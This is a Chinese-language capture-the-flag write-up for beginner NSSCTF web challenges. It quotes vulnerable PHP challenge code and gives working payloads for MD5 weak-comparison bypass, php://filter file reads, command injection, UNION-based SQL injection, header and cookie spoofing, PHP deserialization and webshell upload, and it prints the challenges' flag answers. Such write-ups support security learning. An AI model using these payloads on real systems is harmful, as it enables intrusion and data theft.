NSSCTF平台:https://www.nssctf.cn/
NSSCTF{We1c0me_t0_WLLMCTF_Th1s_1s_th3_G1ft}
NSSCTF{welcometo5space}
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>
所以为满足if
条件,输出flag,构造Payload:
get:json={"x":"wllm"}
post:id=wllmNB
NSSCTF{037de6d6-3b9e-4bb9-903f-4236c239b42a}
highlight_file(__FILE__);
include 'flag2.php';
if (isset($_GET['name']) && isset($_POST['password'])){
$name = $_GET['name'];
$password = $_POST['password'];
if ($name != $password && md5($name) == md5($password)){
echo $flag;
}
else {
echo "wrong!";
}
}
else {
echo 'wrong!';
}
?>
这里就是md5
碰撞了 这里要求a
和b
输入值不相同,md5
加密后的值弱类型相等,就想到了0e
的科学计数法
这里需要让password != name
又需要让他们的md5
值相等,所以我们需要md5
绕过 这里可以用bp
和hackbar
QNKCDZO,s878926199a
NSSCTF{bc1ccfc9-194c-4f11-809a-3a39293691fc}
NSSCTF{6bb489d4-e364-4302-ad0a-35cb90ee4534}
Payload:?file=php://filter/convert.base64-encode/resource=flag.php
NSSCTF{4b858152-b482-4984-a358-ad8dc781923e}
?url=system("ls /"); #发现了 flllllaaaaaaggggggg
NSSCTF{4ddfeb4b-a30e-42a9-8bf4-f8a480a8b083}
这里告诉我们了传入的参数是wllm
发现有报错,说明存在注入点 存在字符型注入 用order by
查询字段数,查得字段数为3
输入4
就报错
?wllm=-1' union select 1,2,3 --+ ##-1 一个负数不存在的id值来触发报错
-1' union select 1,2,database(); --+ ##爆破数据库
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='test_db'--+ #爆破表
这里有两个表test_tb
和users
将tables
的字段替换成column
字段先看test_tb
wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='test_tb'--+
-1' union select 1,2,group_concat(id,flag) from test_tb --+ #查询
NSSCTF{94713769-163e-4e8d-a310-98e17dd7bd37}
使用御剑扫描后台访问phpinfo.php
搜索FLAG
即可。
NSSCTF{5d64eb71-b973-4708-a275-8f0cf576990b}
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1)
{
include "../next.php";
}
else
echo "小饼干最好吃啦!";
?> 小饼干最好吃啦!
bp
抓包改cookie
值 admin=1
出现了rasalghul.php
进行访问 然后又是代码审计
<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/ /", $ip)){
die('nonono');
}
$a = shell_exec($ip);
echo $a;
}
?>
NSSCTF{4f2323c6-1c66-49d4-98c0-65f184730a7b}
直接抓包然后修改User-Agent:WLLM
和本地访问X-Forwarded-For:127.0.0.1
访问/secretttt.php
即可得到flag
。
NSSCTF{1c22fbcd-0661-40d6-921c-01b09b3257a6}
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
这里的考点就是反序列 可以参考大佬文章:https://blog.csdn.net/solitudi/article/details/113588692
Payload:?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
NSSCTF{1387617d-68fc-4c72-aef2-f6bbafc59ed3}
新建一个一句话木马格式改为
php
然后抓包 使用phtml
然后使用WebSell
工具连接 发现连接成功!!!
然后这个FLAG
是假的怎么提交都不对 发现.git
提示 尝试写个phpinfo();
得到FLAG
。
NSSCTF{7022989b-6f80-433c-b625-0e3ab22c0803}
NSSCTF{41784aaa-7609-4a3e-8c92-7d5ea8efb3a9}
感谢大家观看 这篇就先到这里了,都是些比较入门的题目,希望对刚入门CTF想刷题的小伙伴有帮助感谢大家的支持!